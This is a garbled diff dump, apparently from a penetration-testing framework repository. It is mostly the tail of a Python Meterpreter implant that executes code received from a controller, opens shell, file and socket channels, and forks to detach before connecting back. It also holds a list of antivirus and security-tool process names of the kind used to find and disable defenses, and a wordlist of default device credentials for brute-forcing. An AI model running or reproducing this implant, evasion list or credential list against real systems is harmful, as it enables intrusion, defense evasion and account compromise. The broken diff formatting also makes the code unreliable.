||||||
else:
|
|
||||||
serial = get_hdd_label()
|
|
||||||
|
|
||||||
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_loadlib(self, request, response):
|
|
||||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
|
||||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
|
||||||
return ERROR_FAILURE
|
|
||||||
|
|
||||||
self.last_registered_extension = None
|
|
||||||
symbols_for_extensions = {'meterpreter':self}
|
|
||||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
|
||||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
|
||||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
|
||||||
extension_name = self.last_registered_extension
|
|
||||||
|
|
||||||
if extension_name:
|
|
||||||
check_extension = lambda x: x.startswith(extension_name)
|
|
||||||
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
|
|
||||||
for method in lib_methods:
|
|
||||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_shutdown(self, request, response):
|
|
||||||
response += tlv_pack(TLV_TYPE_BOOL, True)
|
|
||||||
self.running = False
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_channel_open(self, request, response):
|
|
||||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
|
||||||
handler = 'channel_open_' + channel_type['value']
|
|
||||||
if handler not in self.extension_functions:
|
|
||||||
return error_result(NotImplementedError), response
|
|
||||||
handler = self.extension_functions[handler]
|
|
||||||
return handler(request, response)
|
|
||||||
|
|
||||||
def _core_channel_close(self, request, response):
|
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
||||||
if channel_id not in self.channels:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
channel = self.channels[channel_id]
|
|
||||||
if isinstance(channel, subprocess.Popen):
|
|
||||||
channel.kill()
|
|
||||||
elif isinstance(channel, MeterpreterFile):
|
|
||||||
channel.close()
|
|
||||||
elif isinstance(channel, MeterpreterSocket):
|
|
||||||
channel.close()
|
|
||||||
else:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
del self.channels[channel_id]
|
|
||||||
if channel_id in self.interact_channels:
|
|
||||||
self.interact_channels.remove(channel_id)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_channel_eof(self, request, response):
|
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
||||||
if channel_id not in self.channels:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
channel = self.channels[channel_id]
|
|
||||||
result = False
|
|
||||||
if isinstance(channel, MeterpreterFile):
|
|
||||||
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
|
||||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_channel_interact(self, request, response):
|
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
||||||
if channel_id not in self.channels:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
channel = self.channels[channel_id]
|
|
||||||
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
|
|
||||||
if toggle:
|
|
||||||
if channel_id in self.interact_channels:
|
|
||||||
self.interact_channels.remove(channel_id)
|
|
||||||
else:
|
|
||||||
self.interact_channels.append(channel_id)
|
|
||||||
elif channel_id in self.interact_channels:
|
|
||||||
self.interact_channels.remove(channel_id)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_channel_read(self, request, response):
|
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
||||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
|
||||||
if channel_id not in self.channels:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
channel = self.channels[channel_id]
|
|
||||||
data = ''
|
|
||||||
if isinstance(channel, STDProcess):
|
|
||||||
if channel.poll() != None:
|
|
||||||
self.handle_dead_resource_channel(channel_id)
|
|
||||||
if channel.stdout_reader.is_read_ready():
|
|
||||||
data = channel.stdout_reader.read(length)
|
|
||||||
elif isinstance(channel, MeterpreterFile):
|
|
||||||
data = channel.read(length)
|
|
||||||
elif isinstance(channel, MeterpreterSocket):
|
|
||||||
data = channel.recv(length)
|
|
||||||
else:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def _core_channel_write(self, request, response):
|
|
||||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
||||||
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
|
|
||||||
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
|
|
||||||
if channel_id not in self.channels:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
channel = self.channels[channel_id]
|
|
||||||
l = len(channel_data)
|
|
||||||
if isinstance(channel, subprocess.Popen):
|
|
||||||
if channel.poll() != None:
|
|
||||||
self.handle_dead_resource_channel(channel_id)
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
channel.write(channel_data)
|
|
||||||
elif isinstance(channel, MeterpreterFile):
|
|
||||||
channel.write(channel_data)
|
|
||||||
elif isinstance(channel, MeterpreterSocket):
|
|
||||||
try:
|
|
||||||
l = channel.send(channel_data)
|
|
||||||
except socket.error:
|
|
||||||
channel.close()
|
|
||||||
self.handle_dead_resource_channel(channel_id)
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
else:
|
|
||||||
return ERROR_FAILURE, response
|
|
||||||
response += tlv_pack(TLV_TYPE_LENGTH, l)
|
|
||||||
return ERROR_SUCCESS, response
|
|
||||||
|
|
||||||
def create_response(self, request):
|
|
||||||
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
|
||||||
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
|
|
||||||
resp += tlv_pack(method_tlv)
|
|
||||||
|
|
||||||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
|
||||||
resp += tlv_pack(reqid_tlv)
|
|
||||||
|
|
||||||
handler_name = method_tlv['value']
|
|
||||||
if handler_name in self.extension_functions:
|
|
||||||
handler = self.extension_functions[handler_name]
|
|
||||||
try:
|
|
||||||
self.debug_print('[*] running method ' + handler_name)
|
|
||||||
result, resp = handler(request, resp)
|
|
||||||
except Exception:
|
|
||||||
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
|
|
||||||
if DEBUGGING:
|
|
||||||
traceback.print_exc(file=sys.stderr)
|
|
||||||
result = error_result()
|
|
||||||
else:
|
|
||||||
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
|
|
||||||
result = error_result(NotImplementedError)
|
|
||||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
|
||||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
|
||||||
return resp
|
|
||||||
|
|
||||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
|
||||||
if hasattr(os, 'setsid'):
|
|
||||||
try:
|
|
||||||
os.setsid()
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
if HTTP_CONNECTION_URL and has_urllib:
|
|
||||||
met = PythonMeterpreter()
|
|
||||||
else:
|
|
||||||
met = PythonMeterpreter(s)
|
|
||||||
met.run()
|
|
|
@ -169,7 +169,7 @@
|
||||||
userid: 'self',
|
userid: 'self',
|
||||||
stream: stream
|
stream: stream
|
||||||
});
|
});
|
||||||
|
|
||||||
callback(stream);
|
callback(stream);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
@ -178,7 +178,7 @@
|
||||||
<body>
|
<body>
|
||||||
|
|
||||||
<div class="windowa" id="windowa">
|
<div class="windowa" id="windowa">
|
||||||
<b>You peer</b>
|
<b>Your peer</b>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="dot1"></div>
|
<div class="dot1"></div>
|
||||||
|
@ -199,4 +199,4 @@
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
|
@ -0,0 +1,614 @@
|
||||||
|
emet_agent.exe
|
||||||
|
emet_service.exe
|
||||||
|
firesvc.exe
|
||||||
|
firetray.exe
|
||||||
|
hipsvc.exe
|
||||||
|
mfevtps.exe
|
||||||
|
mcafeefire.exe
|
||||||
|
scan32.exe
|
||||||
|
shstat.exe
|
||||||
|
tbmon.exe
|
||||||
|
vstskmgr.exe
|
||||||
|
engineserver.exe
|
||||||
|
mfevtps.exe
|
||||||
|
mfeann.exe
|
||||||
|
mcscript.exe
|
||||||
|
updaterui.exe
|
||||||
|
udaterui.exe
|
||||||
|
naprdmgr.exe
|
||||||
|
frameworkservice.exe
|
||||||
|
cleanup.exe
|
||||||
|
cmdagent.exe
|
||||||
|
frminst.exe
|
||||||
|
mcscript_inuse.exe
|
||||||
|
mctray.exe
|
||||||
|
mcshield.exe
|
||||||
|
AAWTray.exe
|
||||||
|
Ad-Aware.exe
|
||||||
|
MSASCui.exe
|
||||||
|
_avp32.exe
|
||||||
|
_avpcc.exe
|
||||||
|
_avpm.exe
|
||||||
|
aAvgApi.exe
|
||||||
|
ackwin32.exe
|
||||||
|
adaware.exe
|
||||||
|
advxdwin.exe
|
||||||
|
agentsvr.exe
|
||||||
|
agentw.exe
|
||||||
|
alertsvc.exe
|
||||||
|
alevir.exe
|
||||||
|
alogserv.exe
|
||||||
|
amon9x.exe
|
||||||
|
anti-trojan.exe
|
||||||
|
antivirus.exe
|
||||||
|
ants.exe
|
||||||
|
apimonitor.exe
|
||||||
|
aplica32.exe
|
||||||
|
apvxdwin.exe
|
||||||
|
arr.exe
|
||||||
|
atcon.exe
|
||||||
|
atguard.exe
|
||||||
|
atro55en.exe
|
||||||
|
atupdater.exe
|
||||||
|
atwatch.exe
|
||||||
|
au.exe
|
||||||
|
aupdate.exe
|
||||||
|
auto-protect.nav80try.exe
|
||||||
|
autodown.exe
|
||||||
|
autotrace.exe
|
||||||
|
autoupdate.exe
|
||||||
|
avconsol.exe
|
||||||
|
ave32.exe
|
||||||
|
avgcc32.exe
|
||||||
|
avgctrl.exe
|
||||||
|
avgemc.exe
|
||||||
|
avgnt.exe
|
||||||
|
avgrsx.exe
|
||||||
|
avgserv.exe
|
||||||
|
avgserv9.exe
|
||||||
|
avguard.exe
|
||||||
|
avgw.exe
|
||||||
|
avkpop.exe
|
||||||
|
avkserv.exe
|
||||||
|
avkservice.exe
|
||||||
|
avkwctl9.exe
|
||||||
|
avltmain.exe
|
||||||
|
avnt.exe
|
||||||
|
avp.exe
|
||||||
|
avp.exe
|
||||||
|
avp32.exe
|
||||||
|
avpcc.exe
|
||||||
|
avpdos32.exe
|
||||||
|
avpm.exe
|
||||||
|
avptc32.exe
|
||||||
|
avpupd.exe
|
||||||
|
avsched32.exe
|
||||||
|
avsynmgr.exe
|
||||||
|
avwin.exe
|
||||||
|
avwin95.exe
|
||||||
|
avwinnt.exe
|
||||||
|
avwupd.exe
|
||||||
|
avwupd32.exe
|
||||||
|
avwupsrv.exe
|
||||||
|
avxmonitor9x.exe
|
||||||
|
avxmonitornt.exe
|
||||||
|
avxquar.exe
|
||||||
|
backweb.exe
|
||||||
|
bargains.exe
|
||||||
|
bd_professional.exe
|
||||||
|
beagle.exe
|
||||||
|
belt.exe
|
||||||
|
bidef.exe
|
||||||
|
bidserver.exe
|
||||||
|
bipcp.exe
|
||||||
|
bipcpevalsetup.exe
|
||||||
|
bisp.exe
|
||||||
|
blackd.exe
|
||||||
|
blackice.exe
|
||||||
|
blink.exe
|
||||||
|
blss.exe
|
||||||
|
bootconf.exe
|
||||||
|
bootwarn.exe
|
||||||
|
borg2.exe
|
||||||
|
bpc.exe
|
||||||
|
brasil.exe
|
||||||
|
bs120.exe
|
||||||
|
bundle.exe
|
||||||
|
bvt.exe
|
||||||
|
ccapp.exe
|
||||||
|
ccevtmgr.exe
|
||||||
|
ccpxysvc.exe
|
||||||
|
ccsvchst.exe
|
||||||
|
cdp.exe
|
||||||
|
cfd.exe
|
||||||
|
cfgwiz.exe
|
||||||
|
cfiadmin.exe
|
||||||
|
cfiaudit.exe
|
||||||
|
cfinet.exe
|
||||||
|
cfinet32.exe
|
||||||
|
claw95.exe
|
||||||
|
claw95cf.exe
|
||||||
|
clean.exe
|
||||||
|
cleaner.exe
|
||||||
|
cleaner3.exe
|
||||||
|
cleanpc.exe
|
||||||
|
click.exe
|
||||||
|
cmesys.exe
|
||||||
|
cmgrdian.exe
|
||||||
|
cmon016.exe
|
||||||
|
connectionmonitor.exe
|
||||||
|
cpd.exe
|
||||||
|
cpf9x206.exe
|
||||||
|
cpfnt206.exe
|
||||||
|
ctrl.exe
|
||||||
|
cv.exe
|
||||||
|
cwnb181.exe
|
||||||
|
cwntdwmo.exe
|
||||||
|
datemanager.exe
|
||||||
|
dcomx.exe
|
||||||
|
defalert.exe
|
||||||
|
defscangui.exe
|
||||||
|
defwatch.exe
|
||||||
|
deputy.exe
|
||||||
|
divx.exe
|
||||||
|
dllcache.exe
|
||||||
|
dllreg.exe
|
||||||
|
doors.exe
|
||||||
|
dpf.exe
|
||||||
|
dpfsetup.exe
|
||||||
|
dpps2.exe
|
||||||
|
drwatson.exe
|
||||||
|
drweb32.exe
|
||||||
|
drwebupw.exe
|
||||||
|
dssagent.exe
|
||||||
|
dvp95.exe
|
||||||
|
dvp95_0.exe
|
||||||
|
ecengine.exe
|
||||||
|
efpeadm.exe
|
||||||
|
emsw.exe
|
||||||
|
ent.exe
|
||||||
|
esafe.exe
|
||||||
|
escanhnt.exe
|
||||||
|
escanv95.exe
|
||||||
|
espwatch.exe
|
||||||
|
ethereal.exe
|
||||||
|
etrustcipe.exe
|
||||||
|
evpn.exe
|
||||||
|
exantivirus-cnet.exe
|
||||||
|
exe.avxw.exe
|
||||||
|
expert.exe
|
||||||
|
explore.exe
|
||||||
|
f-agnt95.exe
|
||||||
|
f-prot.exe
|
||||||
|
f-prot95.exe
|
||||||
|
f-stopw.exe
|
||||||
|
fameh32.exe
|
||||||
|
fast.exe
|
||||||
|
fch32.exe
|
||||||
|
fih32.exe
|
||||||
|
findviru.exe
|
||||||
|
firewall.exe
|
||||||
|
fnrb32.exe
|
||||||
|
fp-win.exe
|
||||||
|
fp-win_trial.exe
|
||||||
|
fprot.exe
|
||||||
|
frw.exe
|
||||||
|
fsaa.exe
|
||||||
|
fsav.exe
|
||||||
|
fsav32.exe
|
||||||
|
fsav530stbyb.exe
|
||||||
|
fsav530wtbyb.exe
|
||||||
|
fsav95.exe
|
||||||
|
fsgk32.exe
|
||||||
|
fsm32.exe
|
||||||
|
fsma32.exe
|
||||||
|
fsmb32.exe
|
||||||
|
gator.exe
|
||||||
|
gbmenu.exe
|
||||||
|
gbpoll.exe
|
||||||
|
generics.exe
|
||||||
|
gmt.exe
|
||||||
|
guard.exe
|
||||||
|
guarddog.exe
|
||||||
|
hacktracersetup.exe
|
||||||
|
hbinst.exe
|
||||||
|
hbsrv.exe
|
||||||
|
hotactio.exe
|
||||||
|
hotpatch.exe
|
||||||
|
htlog.exe
|
||||||
|
htpatch.exe
|
||||||
|
hwpe.exe
|
||||||
|
hxdl.exe
|
||||||
|
hxiul.exe
|
||||||
|
iamapp.exe
|
||||||
|
iamserv.exe
|
||||||
|
iamstats.exe
|
||||||
|
ibmasn.exe
|
||||||
|
ibmavsp.exe
|
||||||
|
icload95.exe
|
||||||
|
icloadnt.exe
|
||||||
|
icmon.exe
|
||||||
|
icsupp95.exe
|
||||||
|
icsuppnt.exe
|
||||||
|
idle.exe
|
||||||
|
iedll.exe
|
||||||
|
iedriver.exe
|
||||||
|
iface.exe
|
||||||
|
ifw2000.exe
|
||||||
|
inetlnfo.exe
|
||||||
|
infus.exe
|
||||||
|
infwin.exe
|
||||||
|
init.exe
|
||||||
|
intdel.exe
|
||||||
|
intren.exe
|
||||||
|
iomon98.exe
|
||||||
|
istsvc.exe
|
||||||
|
jammer.exe
|
||||||
|
jdbgmrg.exe
|
||||||
|
jedi.exe
|
||||||
|
kavlite40eng.exe
|
||||||
|
kavpers40eng.exe
|
||||||
|
kavpf.exe
|
||||||
|
kazza.exe
|
||||||
|
keenvalue.exe
|
||||||
|
kerio-pf-213-en-win.exe
|
||||||
|
kerio-wrl-421-en-win.exe
|
||||||
|
kerio-wrp-421-en-win.exe
|
||||||
|
kernel32.exe
|
||||||
|
killprocesssetup161.exe
|
||||||
|
launcher.exe
|
||||||
|
ldnetmon.exe
|
||||||
|
ldpro.exe
|
||||||
|
ldpromenu.exe
|
||||||
|
ldscan.exe
|
||||||
|
lnetinfo.exe
|
||||||
|
loader.exe
|
||||||
|
localnet.exe
|
||||||
|
lockdown.exe
|
||||||
|
lockdown2000.exe
|
||||||
|
lookout.exe
|
||||||
|
lordpe.exe
|
||||||
|
lsetup.exe
|
||||||
|
luall.exe
|
||||||
|
luau.exe
|
||||||
|
lucomserver.exe
|
||||||
|
luinit.exe
|
||||||
|
luspt.exe
|
||||||
|
mapisvc32.exe
|
||||||
|
mcagent.exe
|
||||||
|
mcmnhdlr.exe
|
||||||
|
mcshield.exe
|
||||||
|
mctool.exe
|
||||||
|
mcupdate.exe
|
||||||
|
mcvsrte.exe
|
||||||
|
mcvsshld.exe
|
||||||
|
md.exe
|
||||||
|
mfin32.exe
|
||||||
|
mfw2en.exe
|
||||||
|
mfweng3.02d30.exe
|
||||||
|
mgavrtcl.exe
|
||||||
|
mgavrte.exe
|
||||||
|
mghtml.exe
|
||||||
|
mgui.exe
|
||||||
|
minilog.exe
|
||||||
|
mmod.exe
|
||||||
|
monitor.exe
|
||||||
|
moolive.exe
|
||||||
|
mostat.exe
|
||||||
|
mpfagent.exe
|
||||||
|
mpfservice.exe
|
||||||
|
mpftray.exe
|
||||||
|
mrflux.exe
|
||||||
|
msapp.exe
|
||||||
|
msbb.exe
|
||||||
|
msblast.exe
|
||||||
|
mscache.exe
|
||||||
|
msccn32.exe
|
||||||
|
mscman.exe
|
||||||
|
msconfig.exe
|
||||||
|
msdm.exe
|
||||||
|
msdos.exe
|
||||||
|
msiexec16.exe
|
||||||
|
msinfo32.exe
|
||||||
|
mslaugh.exe
|
||||||
|
msmgt.exe
|
||||||
|
msmsgri32.exe
|
||||||
|
mssmmc32.exe
|
||||||
|
mssys.exe
|
||||||
|
msvxd.exe
|
||||||
|
mu0311ad.exe
|
||||||
|
mwatch.exe
|
||||||
|
n32scanw.exe
|
||||||
|
nav.exe
|
||||||
|
navap.navapsvc.exe
|
||||||
|
navapsvc.exe
|
||||||
|
navapw32.exe
|
||||||
|
navdx.exe
|
||||||
|
navlu32.exe
|
||||||
|
navnt.exe
|
||||||
|
navstub.exe
|
||||||
|
navw32.exe
|
||||||
|
navwnt.exe
|
||||||
|
nc2000.exe
|
||||||
|
ncinst4.exe
|
||||||
|
ndd32.exe
|
||||||
|
neomonitor.exe
|
||||||
|
neowatchlog.exe
|
||||||
|
netarmor.exe
|
||||||
|
netd32.exe
|
||||||
|
netinfo.exe
|
||||||
|
netmon.exe
|
||||||
|
netscanpro.exe
|
||||||
|
netspyhunter-1.2.exe
|
||||||
|
netstat.exe
|
||||||
|
netutils.exe
|
||||||
|
nisserv.exe
|
||||||
|
nisum.exe
|
||||||
|
nmain.exe
|
||||||
|
nod32.exe
|
||||||
|
normist.exe
|
||||||
|
norton_internet_secu_3.0_407.exe
|
||||||
|
notstart.exe
|
||||||
|
npf40_tw_98_nt_me_2k.exe
|
||||||
|
npfmessenger.exe
|
||||||
|
nprotect.exe
|
||||||
|
npscheck.exe
|
||||||
|
npssvc.exe
|
||||||
|
nsched32.exe
|
||||||
|
nssys32.exe
|
||||||
|
nstask32.exe
|
||||||
|
nsupdate.exe
|
||||||
|
nt.exe
|
||||||
|
ntrtscan.exe
|
||||||
|
ntvdm.exe
|
||||||
|
ntxconfig.exe
|
||||||
|
nui.exe
|
||||||
|
nupgrade.exe
|
||||||
|
nvarch16.exe
|
||||||
|
nvc95.exe
|
||||||
|
nvsvc32.exe
|
||||||
|
nwinst4.exe
|
||||||
|
nwservice.exe
|
||||||
|
nwtool16.exe
|
||||||
|
ollydbg.exe
|
||||||
|
onsrvr.exe
|
||||||
|
optimize.exe
|
||||||
|
ostronet.exe
|
||||||
|
otfix.exe
|
||||||
|
outpost.exe
|
||||||
|
outpostinstall.exe
|
||||||
|
outpostproinstall.exe
|
||||||
|
padmin.exe
|
||||||
|
panixk.exe
|
||||||
|
patch.exe
|
||||||
|
pavcl.exe
|
||||||
|
pavproxy.exe
|
||||||
|
pavsched.exe
|
||||||
|
pavw.exe
|
||||||
|
pccwin98.exe
|
||||||
|
pcfwallicon.exe
|
||||||
|
pcip10117_0.exe
|
||||||
|
pcscan.exe
|
||||||
|
pdsetup.exe
|
||||||
|
periscope.exe
|
||||||
|
persfw.exe
|
||||||
|
perswf.exe
|
||||||
|
pf2.exe
|
||||||
|
pfwadmin.exe
|
||||||
|
pgmonitr.exe
|
||||||
|
pingscan.exe
|
||||||
|
platin.exe
|
||||||
|
pop3trap.exe
|
||||||
|
poproxy.exe
|
||||||
|
popscan.exe
|
||||||
|
portdetective.exe
|
||||||
|
portmonitor.exe
|
||||||
|
powerscan.exe
|
||||||
|
ppinupdt.exe
|
||||||
|
pptbc.exe
|
||||||
|
ppvstop.exe
|
||||||
|
prizesurfer.exe
|
||||||
|
prmt.exe
|
||||||
|
prmvr.exe
|
||||||
|
procdump.exe
|
||||||
|
processmonitor.exe
|
||||||
|
procexplorerv1.0.exe
|
||||||
|
programauditor.exe
|
||||||
|
proport.exe
|
||||||
|
protectx.exe
|
||||||
|
pspf.exe
|
||||||
|
purge.exe
|
||||||
|
qconsole.exe
|
||||||
|
qserver.exe
|
||||||
|
rapapp.exe
|
||||||
|
rav7.exe
|
||||||
|
rav7win.exe
|
||||||
|
rav8win32eng.exe
|
||||||
|
ray.exe
|
||||||
|
rb32.exe
|
||||||
|
rcsync.exe
|
||||||
|
realmon.exe
|
||||||
|
reged.exe
|
||||||
|
regedit.exe
|
||||||
|
regedt32.exe
|
||||||
|
rescue.exe
|
||||||
|
rescue32.exe
|
||||||
|
rrguard.exe
|
||||||
|
rshell.exe
|
||||||
|
rtvscan.exe
|
||||||
|
rtvscn95.exe
|
||||||
|
rulaunch.exe
|
||||||
|
run32dll.exe
|
||||||
|
rundll.exe
|
||||||
|
rundll16.exe
|
||||||
|
ruxdll32.exe
|
||||||
|
safeweb.exe
|
||||||
|
sahagent.exescan32.exe
|
||||||
|
shstat.exe
|
||||||
|
tbmon.exe
|
||||||
|
vstskmgr.exe
|
||||||
|
engineserver.exe
|
||||||
|
mfevtps.exe
|
||||||
|
mfeann.exe
|
||||||
|
mcscript.exe
|
||||||
|
updaterui.exe
|
||||||
|
udaterui.exe
|
||||||
|
naprdmgr.exe
|
||||||
|
frameworkservice.exe
|
||||||
|
cleanup.exe
|
||||||
|
cmdagent.exe
|
||||||
|
frminst.exe
|
||||||
|
mcscript_inuse.exe
|
||||||
|
mctray.exe
|
||||||
|
mcshield.exe
|
||||||
|
save.exe
|
||||||
|
savenow.exe
|
||||||
|
sbserv.exe
|
||||||
|
sc.exe
|
||||||
|
scam32.exe
|
||||||
|
scan32.exe
|
||||||
|
scan95.exe
|
||||||
|
scanpm.exe
|
||||||
|
scrscan.exe
|
||||||
|
serv95.exe
|
||||||
|
setup_flowprotector_us.exe
|
||||||
|
setupvameeval.exe
|
||||||
|
sfc.exe
|
||||||
|
sgssfw32.exe
|
||||||
|
sh.exe
|
||||||
|
shellspyinstall.exe
|
||||||
|
shn.exe
|
||||||
|
showbehind.exe
|
||||||
|
smc.exe
|
||||||
|
sms.exe
|
||||||
|
smss32.exe
|
||||||
|
soap.exe
|
||||||
|
sofi.exe
|
||||||
|
sperm.exe
|
||||||
|
spf.exe
|
||||||
|
sphinx.exe
|
||||||
|
spoler.exe
|
||||||
|
spoolcv.exe
|
||||||
|
spoolsv32.exe
|
||||||
|
spyxx.exe
|
||||||
|
srexe.exe
|
||||||
|
srng.exe
|
||||||
|
ss3edit.exe
|
||||||
|
ssg_4104.exe
|
||||||
|
ssgrate.exe
|
||||||
|
st2.exe
|
||||||
|
start.exe
|
||||||
|
stcloader.exe
|
||||||
|
supftrl.exe
|
||||||
|
support.exe
|
||||||
|
supporter5.exe
|
||||||
|
svchostc.exe
|
||||||
|
svchosts.exe
|
||||||
|
sweep95.exe
|
||||||
|
sweepnet.sweepsrv.sys.swnetsup.exe
|
||||||
|
symproxysvc.exe
|
||||||
|
symtray.exe
|
||||||
|
sysedit.exe
|
||||||
|
sysupd.exe
|
||||||
|
taskmg.exe
|
||||||
|
taskmo.exe
|
||||||
|
taumon.exe
|
||||||
|
tbscan.exe
|
||||||
|
tc.exe
|
||||||
|
tca.exe
|
||||||
|
tcm.exe
|
||||||
|
tds-3.exe
|
||||||
|
tds2-98.exe
|
||||||
|
tds2-nt.exe
|
||||||
|
teekids.exe
|
||||||
|
tfak.exe
|
||||||
|
tfak5.exe
|
||||||
|
tgbob.exe
|
||||||
|
titanin.exe
|
||||||
|
titaninxp.exe
|
||||||
|
tracert.exe
|
||||||
|
trickler.exe
|
||||||
|
trjscan.exe
|
||||||
|
trjsetup.exe
|
||||||
|
trojantrap3.exe
|
||||||
|
tsadbot.exe
|
||||||
|
tvmd.exe
|
||||||
|
tvtmd.exe
|
||||||
|
undoboot.exe
|
||||||
|
updat.exe
|
||||||
|
update.exe
|
||||||
|
upgrad.exe
|
||||||
|
utpost.exe
|
||||||
|
vbcmserv.exe
|
||||||
|
vbcons.exe
|
||||||
|
vbust.exe
|
||||||
|
vbwin9x.exe
|
||||||
|
vbwinntw.exe
|
||||||
|
vcsetup.exe
|
||||||
|
vet32.exe
|
||||||
|
vet95.exe
|
||||||
|
vettray.exe
|
||||||
|
vfsetup.exe
|
||||||
|
vir-help.exe
|
||||||
|
virusmdpersonalfirewall.exe
|
||||||
|
vnlan300.exe
|
||||||
|
vnpc3000.exe
|
||||||
|
vpc32.exe
|
||||||
|
vpc42.exe
|
||||||
|
vpfw30s.exe
|
||||||
|
vptray.exe
|
||||||
|
vscan40.exe
|
||||||
|
vscenu6.02d30.exe
|
||||||
|
vsched.exe
|
||||||
|
vsecomr.exe
|
||||||
|
vshwin32.exe
|
||||||
|
vsisetup.exe
|
||||||
|
vsmain.exe
|
||||||
|
vsmon.exe
|
||||||
|
vsstat.exe
|
||||||
|
vswin9xe.exe
|
||||||
|
vswinntse.exe
|
||||||
|
vswinperse.exe
|
||||||
|
w32dsm89.exe
|
||||||
|
w9x.exe
|
||||||
|
watchdog.exe
|
||||||
|
webdav.exe
|
||||||
|
webscanx.exe
|
||||||
|
webtrap.exe
|
||||||
|
wfindv32.exe
|
||||||
|
whoswatchingme.exe
|
||||||
|
wimmun32.exe
|
||||||
|
win-bugsfix.exe
|
||||||
|
win32.exe
|
||||||
|
win32us.exe
|
||||||
|
winactive.exe
|
||||||
|
window.exe
|
||||||
|
windows.exe
|
||||||
|
wininetd.exe
|
||||||
|
wininitx.exe
|
||||||
|
winlogin.exe
|
||||||
|
winmain.exe
|
||||||
|
winnet.exe
|
||||||
|
winppr32.exe
|
||||||
|
winrecon.exe
|
||||||
|
winservn.exe
|
||||||
|
winssk32.exe
|
||||||
|
winstart.exe
|
||||||
|
winstart001.exe
|
||||||
|
wintsk32.exe
|
||||||
|
winupdate.exe
|
||||||
|
wkufind.exe
|
||||||
|
wnad.exe
|
||||||
|
wnt.exe
|
||||||
|
wradmin.exe
|
||||||
|
wrctrl.exe
|
||||||
|
wsbgate.exe
|
||||||
|
wupdater.exe
|
||||||
|
wupdt.exe
|
||||||
|
wyvernworksfirewall.exe
|
||||||
|
xpf202en.exe
|
||||||
|
zapro.exe
|
||||||
|
zapsetup3001.exe
|
||||||
|
zatutor.exe
|
||||||
|
zonalm2601.exe
|
||||||
|
zonealarm.exe
|
|
@ -0,0 +1,415 @@
|
||||||
|
root
|
||||||
|
admin
|
||||||
|
guest
|
||||||
|
root root
|
||||||
|
root password
|
||||||
|
root 1234
|
||||||
|
root 12345
|
||||||
|
root 123456
|
||||||
|
root 3ep5w2u
|
||||||
|
root admin
|
||||||
|
root Admin
|
||||||
|
root admin_1
|
||||||
|
root alpine
|
||||||
|
root ascend
|
||||||
|
root attack
|
||||||
|
root blender
|
||||||
|
root calvin
|
||||||
|
root changeme
|
||||||
|
root Cisco
|
||||||
|
root cms500
|
||||||
|
root davox
|
||||||
|
root default
|
||||||
|
root fivranne
|
||||||
|
root ggdaseuaimhrke
|
||||||
|
root iDirect
|
||||||
|
root letacla
|
||||||
|
root Mau'dib
|
||||||
|
root pass
|
||||||
|
root permit
|
||||||
|
root ROOT500
|
||||||
|
root tini
|
||||||
|
root tslinux
|
||||||
|
root wyse
|
||||||
|
ro ro
|
||||||
|
router router
|
||||||
|
rwa rwa
|
||||||
|
rw rw
|
||||||
|
ubnt ubnt
|
||||||
|
guest guest
|
||||||
|
guest User
|
||||||
|
admin 0
|
||||||
|
admin 0000
|
||||||
|
admin 1111
|
||||||
|
admin 123
|
||||||
|
admin 1234
|
||||||
|
admin 123456
|
||||||
|
admin 1234admin
|
||||||
|
admin 2222
|
||||||
|
